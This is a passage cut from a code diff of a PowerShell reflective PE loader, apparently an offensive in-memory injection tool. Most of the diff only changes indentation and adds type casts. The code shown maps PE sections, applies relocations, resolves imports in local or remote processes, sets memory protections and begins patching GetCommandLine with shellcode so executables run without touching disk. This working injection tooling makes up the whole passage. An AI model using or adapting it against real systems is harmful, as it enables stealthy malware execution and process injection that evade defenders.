$SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } - if ($SizeOfRawData -gt $SectionHeader.VirtualSize) - { - $SizeOfRawData = $SectionHeader.VirtualSize - } + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } - if ($SizeOfRawData -gt 0) - { - Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) - } - - #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space - if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) - { - $Difference = $SectionHeader.VirtualSize - $SizeOfRawData - [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) - Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null - $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null - } - } - } - - - Function Update-MemoryAddresses - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $OriginalImageBase, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - [Int64]$BaseDifference = 0 - $AddDifference = $true #Track if the difference variable should be added or subtracted from variables - [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_BASE_RELOCATION) - - #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do - if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` - -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) - { - return - } - - - elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) - { - $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) - $AddDifference = $false - } - elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) - { - $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) - } - - #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified - [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) - while($true) - { - #If SizeOfBlock == 0, we are done - $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, $Win32Types.IMAGE_BASE_RELOCATION) - - if ($BaseRelocationTable.SizeOfBlock -eq 0) - { - break - } - - [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) - $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 - - #Loop through each relocation - for($i = 0; $i -lt $NumRelocations; $i++) - { - #Get info for this relocation - $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) - [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [UInt16]) - - #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase - [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF - [UInt16]$RelocType = $RelocationInfo -band 0xF000 - for ($j = 0; $j -lt 12; $j++) - { - $RelocType = [Math]::Floor($RelocType / 2) - } - - #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. - #This appears to be true for EXE's as well. - # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx - if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` - -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) - { - #Get the current memory address and update it based off the difference between PE expected base address and actual base address - [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) - [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [IntPtr]) - - if ($AddDifference -eq $true) - { - [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) - } - else - { - [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) - } - - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null - } - elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) - { - #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it - Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" - } - } + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } - $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) - } - } - - - Function Import-DllImports - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 4, Mandatory = $false)] - [IntPtr] - $RemoteProcHandle - ) - - $RemoteLoading = $false - if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) - { - $RemoteLoading = $true - } - - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) - { - [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) - while ($true) - { - $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, $Win32Types.IMAGE_IMPORT_DESCRIPTOR) + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) - #If the structure is null, it signals that this is the end of the array - if ($ImportDescriptor.Characteristics -eq 0 ` - -and $ImportDescriptor.FirstThunk -eq 0 ` - -and $ImportDescriptor.ForwarderChain -eq 0 ` - -and $ImportDescriptor.Name -eq 0 ` - -and $ImportDescriptor.TimeDateStamp -eq 0) - { - Write-Verbose "Done importing DLL imports" - break - } - - $ImportDllHandle = [IntPtr]::Zero - $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) - if ($RemoteLoading -eq $true) - { - $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr - } - else - { - $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) - } - - if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) - { - throw "Error importing DLL, DLLName: $ImportDllPath" - } + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } - #Get the first thunk, then loop through all of them - [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) - [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk - [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [IntPtr]) + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) - while ($OriginalThunkRefVal -ne [IntPtr]::Zero) - { - $ProcedureName = '' - #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit - # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint - # and doing the comparison, just see if it is less than 0 - [IntPtr]$NewThunkRef = [IntPtr]::Zero - if([Int64]$OriginalThunkRefVal -lt 0) - { - $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal - } - else - { - [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) - $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([UInt16])) - $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) - } + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } - if ($RemoteLoading -eq $true) - { - [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName - } - else - { - [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) - } + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } - if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) - { - Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" - } + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) - $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr])) - [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr])) - [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [IntPtr]) - } + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } - $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_IMPORT_DESCRIPTOR)) - } - } - } - - Function Get-VirtualProtectValue - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [UInt32] - $SectionCharacteristics - ) - - $ProtectionFlag = 0x0 - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE - } - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_READWRITE - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_READONLY - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_NOACCESS - } - } - } - - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) - { - $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE - } - - return $ProtectionFlag - } - - Function Update-MemoryProtectionFlags - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_SECTION_HEADER))) - $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, $Win32Types.IMAGE_SECTION_HEADER) - [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) - [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics - [UInt32]$SectionSize = $SectionHeader.VirtualSize + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize - [UInt32]$OldProtectFlag = 0 - Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null - $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Unable to change memory protection" - } - } - } + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } - #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE - #Returns an object with addresses to copies of the bytes that were overwritten (and the count) - Function Update-ExeFunctions - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [String] - $ExeArguments, - - [Parameter(Position = 4, Mandatory = $true)] - [IntPtr] - $ExeDoneBytePtr - ) - - #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. - $ReturnArray = @() - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) - [UInt32]$OldProtectFlag = 0 - - [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") - if ($Kernel32Handle -eq [IntPtr]::Zero) - { - throw "Kernel32 handle null" - } - - [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") - if ($KernelBaseHandle -eq [IntPtr]::Zero) - { - throw "KernelBase handle null" - } - - ################################################# - #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. - # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. - $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) - $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string 